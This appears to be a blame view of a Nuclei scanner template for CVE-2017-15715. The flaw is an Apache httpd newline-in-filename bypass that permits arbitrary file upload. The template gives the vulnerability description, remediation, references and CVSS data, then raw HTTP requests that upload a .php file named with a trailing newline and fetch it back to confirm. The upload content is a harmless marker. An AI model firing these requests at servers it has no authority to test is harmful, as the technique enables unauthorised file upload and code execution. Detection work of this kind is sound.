2021-04-23 13:34:52 +00:00
id : CVE-2017-15715
info :
2022-06-09 20:35:21 +00:00
name : Apache httpd <=2.4.29 - Arbitrary File Upload
2021-04-23 13:34:52 +00:00
author : geeknik
severity : high
2022-06-09 20:35:21 +00:00
description : Apache httpd 2.4.0 to 2.4.29 is susceptible to arbitrary file upload vulnerabilities via the expression specified in <FilesMatch>, which could match '$' to a newline character in a malicious filename rather than matching only the end of the filename. This could be exploited in environments where uploads of some files are externally blocked, but only by matching the trailing portion of the filename.
2023-09-27 15:51:13 +00:00
impact : |
An attacker can upload malicious files to the server, leading to remote code execution or unauthorized access.
2023-09-06 13:22:34 +00:00
remediation : |
Upgrade Apache httpd to a version higher than 2.4.29 or apply the necessary patches.
2022-04-22 10:38:41 +00:00
reference :
- https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2017-15715
2022-05-17 09:18:12 +00:00
- https://httpd.apache.org/security/vulnerabilities_24.html
- http://www.openwall.com/lists/oss-security/2018/03/24/6
2022-06-09 20:35:21 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2017-15715
2023-07-15 16:29:17 +00:00
- http://www.securitytracker.com/id/1040570
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 8.1
2021-09-10 11:26:40 +00:00
cve-id : CVE-2017-15715
cwe-id : CWE-20
2023-12-12 11:07:52 +00:00
epss-score : 0.96163
2024-01-14 13:49:27 +00:00
epss-percentile : 0.99387
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : apache
product : http_server
2024-06-07 10:04:29 +00:00
shodan-query :
- cpe:"cpe:2.3:a:apache:http_server"
- apache 2.4.49
2024-01-14 09:21:50 +00:00
tags : cve,cve2017,apache,httpd,fileupload,vulhub,intrusive
2021-04-23 13:34:52 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-04-23 13:34:52 +00:00
- raw :
- |
POST / HTTP/1.1
Host : {{Hostname}}
2021-04-23 16:18:57 +00:00
Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryKc8fBVDo558U4hbJ
2021-04-23 13:34:52 +00:00
2021-04-23 16:18:57 +00:00
------WebKitFormBoundaryKc8fBVDo558U4hbJ
2021-04-23 13:52:23 +00:00
Content-Disposition : form-data; name="file"; filename="{{randstr}}.php"
2021-04-23 13:34:52 +00:00
2021-04-23 16:32:27 +00:00
{{randstr_1}}
2021-04-23 16:18:57 +00:00
------WebKitFormBoundaryKc8fBVDo558U4hbJ
Content-Disposition : form-data; name="name"
2021-04-23 16:32:27 +00:00
2021-04-23 16:18:57 +00:00
{{randstr}}.php\x0A
------WebKitFormBoundaryKc8fBVDo558U4hbJ--
2021-04-23 13:34:52 +00:00
- |
2021-04-23 16:18:57 +00:00
GET /{{randstr}}.php\x0A HTTP/1.1
2021-04-23 13:34:52 +00:00
Host : {{Hostname}}
Accept-Encoding : gzip,deflate
Accept : */*
matchers :
- type : dsl
dsl :
2021-09-05 21:13:45 +00:00
- 'contains(body_2, "{{randstr_1}}")'
2024-06-08 16:02:17 +00:00
# digest: 4a0a00473045022072e8c81a95fccbba2c0817ef63de9fd716deffc4300335149cd6b5a986f1d221022100d8ff9ec6b4e97346e457d818b3369eeb7b6cba021aeefffe70baa0910691dafc:922c64590222798bb761d5b6d8e72950